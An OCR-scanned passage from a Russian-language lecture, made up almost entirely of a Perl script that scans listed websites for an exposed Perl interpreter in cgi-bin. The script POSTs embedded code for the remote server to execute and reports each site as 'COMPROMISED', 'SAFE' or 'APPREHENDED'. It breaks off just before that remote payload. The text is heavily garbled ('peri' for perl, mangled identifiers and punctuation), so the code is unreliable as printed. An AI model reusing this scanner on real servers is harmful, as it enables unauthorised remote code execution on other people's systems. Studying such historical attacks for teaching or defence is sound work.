Лекция: Require 5.002; use strict;
use LWP: :UserAgent:
my $PROGNAME = «latrodectus cyberneticus»; my$VERSION = «1.0»; my $DEF_CGI_BIN =
"/cgi-bin":
# Имя интерпретатора peri на удаленной машине, # стоит попробовать и peri. exe, и peri. corn my
$DEF_PERL_PATH = "/peri. exe";
# Заносим в переменную $PROGRAM текст, начинающийся # после слов __END__, — нашу программу,
которая будет # выполняться на удаленном сервере ту $PROGRAM = join qq=^><DATA>:
$1 --1;
if (@)ARGV) {
for (OARGV) { probe($J } }elsif(i-tSTDIN){ while <STDIN> { chomp:
probe($_): } } else {
die «usage: $0 [site… ]\n»: }
subprobe { my $site= shift;
my $cgi_bin = ' ': my U)perl_path = ' '; my $pre_site = ' ' ;
if($site!~mff/ff) {
$cgi_bin = $DEF_CGI_BIN;
} if ($site.!~ /peri/) {
$perl_pa1:h = $DEF_PERL_PATH; } if ($site Г тГ//й) {
$pre_site = '//'; }
ту $ua = LWP: :UserAgent->new(); $ua->agent("$PROGNAME, v$VERSION"),
# Формируем полный uri интерпретатора
my$full_targ — 'http:'. $pre_si1:e. $site. $cg]._bin. $perl_path; printf "%-35s ", $site;
ff Открываем соединение my $req = HTTP: :Request->new( POST => $full_targ );
# Посылаем нашу программу
$req->content_type('appl].cation/x-www-forni-urlencoded' ); $req->content($PROGRAM);
# Получаем ответ my $res = $ua->request($req):
ff Проверяем, выполнилась ли наша программа if ($res->is_success) { if ($res->conten1: =~
/WWW Black Widow/) {
print "<< COMPROMISED >>\n"; } else { my $oops = $res->conten1:; $oops =~ s/\n/ /g;
print «APPREHENDED: $oops\n»; }
} else {
my $oops = $res->code. " ". $res->message; if ($res->code == 404) {
print «SAFE: $oops»; } else {
print «ERROR: $oops»; } print "\n" unless $oops =~ /\n$/;
} }
__END__
# Здесь начинается код, который будет выполнен на удаленной и машине. Сначала